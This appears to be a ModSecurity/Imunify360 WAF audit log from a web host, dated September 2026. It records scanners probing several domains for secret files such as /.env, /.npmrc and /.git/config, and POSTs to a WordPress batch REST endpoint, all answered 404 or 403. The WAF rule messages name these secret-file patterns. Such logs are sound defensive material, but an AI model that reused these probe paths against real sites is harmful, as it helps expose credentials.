Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/node_modules/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/node_modules/.npmrc"] [unique_id "aqZt@GM7dE9KgIIOpQh1PgAAAMs"]
Stopwatch: 1789292024467284 37405 (- - -)
Stopwatch2: 1789292024467284 37405; combined=35778, p1=358, p2=35294, p3=74, p4=7, p5=45, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ae15331f-Z--
--00fc673d-A--
[13/Sep/2026:12:33:44.905945 +0300] aqZt@Ewu1RSkptiiNIX4vAAAAJI 34.83.71.154 53928 127.0.0.1 7081
--00fc673d-B--
GET /.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--00fc673d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--00fc673d-E--
--00fc673d-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4vAAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt@Ewu1RSkptiiNIX4vAAAAJI"]
Stopwatch: 1789292024870876 35119 (- - -)
Stopwatch2: 1789292024870876 35119; combined=33377, p1=309, p2=32894, p3=120, p4=8, p5=46, sr=135, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--00fc673d-Z--
--a5a4850e-A--
[13/Sep/2026:12:33:45.121054 +0300] aqZt@Uwu1RSkptiiNIX4vQAAAJQ 34.83.71.154 53952 127.0.0.1 7081
--a5a4850e-B--
GET /config/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
--a5a4850e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a5a4850e-E--
--a5a4850e-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/config/.npmrc"] [unique_id "aqZt@Uwu1RSkptiiNIX4vQAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/config/.npmrc"] [unique_id "aqZt@Uwu1RSkptiiNIX4vQAAAJQ"]
Stopwatch: 1789292025086313 34790 (- - -)
Stopwatch2: 1789292025086313 34790; combined=33235, p1=241, p2=32844, p3=77, p4=7, p5=65, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5a4850e-Z--
--4b71124e-A--
[13/Sep/2026:12:38:34.894844 +0300] aqZvGkwu1RSkptiiNIX42AAAAIA 162.243.61.206 53742 127.0.0.1 7081
--4b71124e-B--
GET /.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br
--4b71124e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4b71124e-E--
--4b71124e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env"] [unique_id "aqZvGkwu1RSkptiiNIX42AAAAIA"]
Stopwatch: 1789292314888707 6197 (- - -)
Stopwatch2: 1789292314888707 6197; combined=4829, p1=271, p2=4448, p3=63, p4=6, p5=40, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4b71124e-Z--
--b847422b-A--
[13/Sep/2026:12:42:32.891140 +0300] aqZwCGM7dE9KgIIOpQh1rwAAAMA 172.86.81.83 38350 127.0.0.1 7081
--b847422b-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--b847422b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b847422b-E--
--b847422b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZwCGM7dE9KgIIOpQh1rwAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZwCGM7dE9KgIIOpQh1rwAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqZwCGM7dE9KgIIOpQh1rwAAAMA"]
Stopwatch: 1789292552855940 35242 (- - -)
Stopwatch2: 1789292552855940 35242; combined=34165, p1=841, p2=33184, p3=87, p4=8, p5=45, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b847422b-Z--
--647e8932-A--
[13/Sep/2026:12:54:29.793801 +0300] aqZy1WM7dE9KgIIOpQh2ewAAAM8 154.54.100.175 45994 127.0.0.1 7081
--647e8932-B--
GET /.git/config HTTP/1.1
Host: ns1.happy-digital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
Accept-Charset: utf-8
Accept-Encoding: gzip
--647e8932-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--647e8932-E--
--647e8932-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns1.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZy1WM7dE9KgIIOpQh2ewAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns1.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZy1WM7dE9KgIIOpQh2ewAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns1.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZy1WM7dE9KgIIOpQh2ewAAAM8"]
Stopwatch: 1789293269758605 35253 (- - -)
Stopwatch2: 1789293269758605 35253; combined=33793, p1=270, p2=33366, p3=83, p4=8, p5=66, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--647e8932-Z--
--1e929e0a-A--
[13/Sep/2026:12:54:31.846215 +0300] aqZy12M7dE9KgIIOpQh2fgAAAMQ 154.54.100.175 46016 127.0.0.1 7081
--1e929e0a-B--
GET /.git/config HTTP/1.1
Host: ns1.happydigital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Linux; Android 9; CLT-L29 Build/HUAWEICLT-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 OPR/48.1.2331.132804
Accept-Charset: utf-8
Accept-Encoding: gzip
--1e929e0a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--1e929e0a-E--
--1e929e0a-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns1.happydigital.ro"] [uri "/.git/config"] [unique_id "aqZy12M7dE9KgIIOpQh2fgAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns1.happydigital.ro"] [uri "/.git/config"] [unique_id "aqZy12M7dE9KgIIOpQh2fgAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns1.happydigital.ro"] [uri "/.git/config"] [unique_id "aqZy12M7dE9KgIIOpQh2fgAAAMQ"]
Stopwatch: 1789293271811404 34861 (- - -)
Stopwatch2: 1789293271811404 34861; combined=32211, p1=346, p2=31745, p3=63, p4=7, p5=49, sr=186, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1e929e0a-Z--
--ae6a5f10-A--
[13/Sep/2026:12:54:33.034403 +0300] aqZy2GM7dE9KgIIOpQh2fwAAAMo 154.54.100.175 46020 127.0.0.1 7081
--ae6a5f10-B--
GET /.git/config HTTP/1.1
Host: ns1.happydigital.co.uk
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--ae6a5f10-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ae6a5f10-E--
--ae6a5f10-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns1.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqZy2GM7dE9KgIIOpQh2fwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns1.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqZy2GM7dE9KgIIOpQh2fwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns1.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqZy2GM7dE9KgIIOpQh2fwAAAMo"]
Stopwatch: 1789293272996459 38002 (- - -)
Stopwatch2: 1789293272996459 38002; combined=36136, p1=482, p2=35473, p3=98, p4=9, p5=74, sr=199, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ae6a5f10-Z--
--3596ca3e-A--
[13/Sep/2026:12:55:03.623049 +0300] aqZy9mM7dE9KgIIOpQh2kAAAANc 142.93.254.78 55302 127.0.0.1 7081
--3596ca3e-B--
POST /wp-json/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 15
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
--3596ca3e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: fcfabbfe-2249-412f-add0-001c76b8b996
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3596ca3e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293302090155 1532984 (- - -)
Stopwatch2: 1789293302090155 1532984; combined=11073, p1=479, p2=9704, p3=0, p4=0, p5=889, sr=175, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--3596ca3e-Z--
--a79bbe38-A--
[13/Sep/2026:12:55:06.472659 +0300] aqZy@mM7dE9KgIIOpQh2kgAAAMU 142.93.254.78 43022 127.0.0.1 7081
--a79bbe38-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 921
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
--a79bbe38-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 52450d1d-6014-4f88-9362-df0bf11fe4f4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a79bbe38-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293306329138 143575 (- - -)
Stopwatch2: 1789293306329138 143575; combined=5171, p1=352, p2=4524, p3=0, p4=0, p5=295, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--a79bbe38-Z--
--af837556-A--
[13/Sep/2026:12:55:07.894920 +0300] aqZy@2M7dE9KgIIOpQh2kwAAANg 142.93.254.78 43026 127.0.0.1 7081
--af837556-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 470
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
--af837556-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: af087d39-4594-42d3-8f11-188927b3edf6
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--af837556-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293307764851 130134 (- - -)
Stopwatch2: 1789293307764851 130134; combined=4163, p1=272, p2=3524, p3=0, p4=0, p5=367, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--af837556-Z--
--b4106214-A--
[13/Sep/2026:12:55:09.139179 +0300] aqZy-WM7dE9KgIIOpQh2lQAAAMs 142.93.254.78 43044 127.0.0.1 7081
--b4106214-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 660
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
--b4106214-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 9dfae9d2-336f-4ff5-b892-8273c989e32d
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b4106214-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293309002658 136589 (- - -)
Stopwatch2: 1789293309002658 136589; combined=5107, p1=310, p2=4438, p3=0, p4=0, p5=359, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--b4106214-Z--
--328af321-A--
[13/Sep/2026:12:55:10.590416 +0300] aqZy-mM7dE9KgIIOpQh2lgAAANQ 142.93.254.78 43046 127.0.0.1 7081
--328af321-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 707
Accept-Encoding: identity
